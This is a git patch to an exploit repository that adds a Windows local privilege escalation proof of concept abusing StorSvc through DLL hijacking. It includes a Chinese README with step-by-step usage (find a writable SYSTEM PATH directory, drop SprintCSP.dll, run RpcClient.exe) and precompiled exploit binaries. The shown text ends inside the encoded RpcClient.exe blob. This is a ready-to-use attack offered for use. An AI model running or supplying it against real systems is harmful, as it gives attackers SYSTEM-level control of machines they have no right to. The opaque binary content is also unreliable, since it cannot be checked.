From e55eb366bab445539ff16c63d3831ed4af91c92f Mon Sep 17 00:00:00 2001 From: Ascotbe <869335729@qq.com> Date: Wed, 15 Feb 2023 14:44:08 +0800 Subject: [PATCH] update windows All-Kill Way --- Windows/Universal/LPE via StorSvc/README.md | 24 + .../Universal/LPE via StorSvc/RpcClient.exe | Bin 0 -> 138752 bytes .../LPE via StorSvc/RpcClient/RpcClient.sln | 31 + .../RpcClient/RpcClient/RpcClient.cpp | 56 + .../RpcClient/RpcClient/RpcClient.vcxproj | 153 + .../RpcClient/RpcClient.vcxproj.filters | 30 + .../RpcClient/RpcClient.vcxproj.user | 4 + .../RpcClient/RpcClient/storsvc_c.c | 3359 +++++++++++++++++ .../RpcClient/RpcClient/storsvc_h.h | 153 + .../Universal/LPE via StorSvc/SprintCSP.dll | Bin 0 -> 14336 bytes .../LPE via StorSvc/SprintCSP/SprintCSP.sln | 31 + .../SprintCSP/SprintCSP/SprintCSP.vcxproj | 151 + .../SprintCSP/SprintCSP.vcxproj.filters | 22 + .../SprintCSP/SprintCSP.vcxproj.user | 4 + .../SprintCSP/SprintCSP/main.c | 291 ++ 15 files changed, 4309 insertions(+) create mode 100644 Windows/Universal/LPE via StorSvc/README.md create mode 100644 Windows/Universal/LPE via StorSvc/RpcClient.exe create mode 100644 Windows/Universal/LPE via StorSvc/RpcClient/RpcClient.sln create mode 100644 Windows/Universal/LPE via StorSvc/RpcClient/RpcClient/RpcClient.cpp create mode 100644 Windows/Universal/LPE via StorSvc/RpcClient/RpcClient/RpcClient.vcxproj create mode 100644 Windows/Universal/LPE via StorSvc/RpcClient/RpcClient/RpcClient.vcxproj.filters create mode 100644 Windows/Universal/LPE via StorSvc/RpcClient/RpcClient/RpcClient.vcxproj.user create mode 100644 Windows/Universal/LPE via StorSvc/RpcClient/RpcClient/storsvc_c.c create mode 100644 Windows/Universal/LPE via StorSvc/RpcClient/RpcClient/storsvc_h.h create mode 100644 Windows/Universal/LPE via StorSvc/SprintCSP.dll create mode 100644 Windows/Universal/LPE via StorSvc/SprintCSP/SprintCSP.sln create mode 100644 Windows/Universal/LPE via StorSvc/SprintCSP/SprintCSP/SprintCSP.vcxproj create mode 100644 Windows/Universal/LPE via StorSvc/SprintCSP/SprintCSP/SprintCSP.vcxproj.filters create mode 100644 Windows/Universal/LPE via StorSvc/SprintCSP/SprintCSP/SprintCSP.vcxproj.user create mode 100644 Windows/Universal/LPE via StorSvc/SprintCSP/SprintCSP/main.c diff --git a/Windows/Universal/LPE via StorSvc/README.md b/Windows/Universal/LPE via StorSvc/README.md new file mode 100644 index 0000000..b5f8af1 --- /dev/null +++ b/Windows/Universal/LPE via StorSvc/README.md @@ -0,0 +1,24 @@ +## 概念验证 + +在这个 repo 中,我们提供了 2 个不同的源代码: + +- RpcClient.exe:触发 RPC 调用。 +- SprintCSP.dll:可以放置它来利用 DLL 劫持。此 PoC 运行`whoami`命令并将输出写入`C:\ProgramData\whoamiall.txt`. 如果您想扩展此 PoC 的功能,您可以`DoStuff()`在main.c中编辑函数。 + +**为了使其工作,必须更改storsvc_c.c`#define`中的宏,以便利用程序适应目标机器的操作系统。** + +## 步骤 + +1. 查找可写的 SYSTEM 路径`reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -v Path` +2. 将SprintCSP.dll复制到可写路径。有些路径是不需要管理员权限的 +3. 执行RpcClient.exe +4. 查看`C:\ProgramData\whoamiall.txt` + +PS:生成好的脚本是调用cmd弹窗 + +![](https://raw.github.com/Ascotbe/Image/master/Kernelhub/LPE_via_StorSvc.gif) + +## 代码来源 + +- [blackarrowsec](https://github.com/blackarrowsec/redteam-research) +- [OWwWO](https://github.com/OWwWO) diff --git a/Windows/Universal/LPE via StorSvc/RpcClient.exe b/Windows/Universal/LPE via StorSvc/RpcClient.exe new file mode 100644 index 0000000000000000000000000000000000000000..6dc27c350daa3b48c8fe660f89fb00ed718bd72e GIT binary patch literal 138752 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ë-|a72X?&g?{k3rMhw0g?9&5nt*= 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 